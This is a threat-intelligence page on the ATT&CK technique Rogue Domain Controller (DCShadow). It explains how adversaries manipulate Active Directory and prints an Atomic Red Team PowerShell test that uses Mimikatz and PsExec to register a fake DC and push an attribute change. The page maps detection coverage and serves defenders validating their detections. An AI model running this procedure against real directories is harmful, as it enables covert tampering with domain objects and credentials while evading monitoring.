Home/ATT&CK Technique/Rogue Domain Controller
ATT&CK Technique

Rogue Domain Controller

T1207 · defense-impairment

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.

Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).

The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.

Windows
▸

Atomic Tests

1
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsDCShadow (Active Directory)
Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute. [DCShadow](https://www.dcshadow.com/) [Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html) It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with: Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely. The easiest is to run elevated and as a Domain Admin user. 
# starting fake DC server, as SYSTEM (required)
$dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
Remove-Item $dc_output_file -ErrorAction Ignore
$mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"

# wait for fake DC server to be ready...
Start-Sleep -Seconds 5

# server ready, so trigger replication (push) and wait until it finished
& "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"

Write-Host "`nWaiting for fake DC server to return"
Wait-Process $dc

Write-Host "`nOutput from fake DC server:"
Get-Content $dc_output_file
Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
Remove-Item $dc_output_file -ErrorAction Ignore

Write-Host "End of DCShadow"
◈

Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 2
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
▣

Comply & Defend

D3FEND12 defensive techniques
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
MITRE ATT&CKAtomic Red Teamcar (MITRE)
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin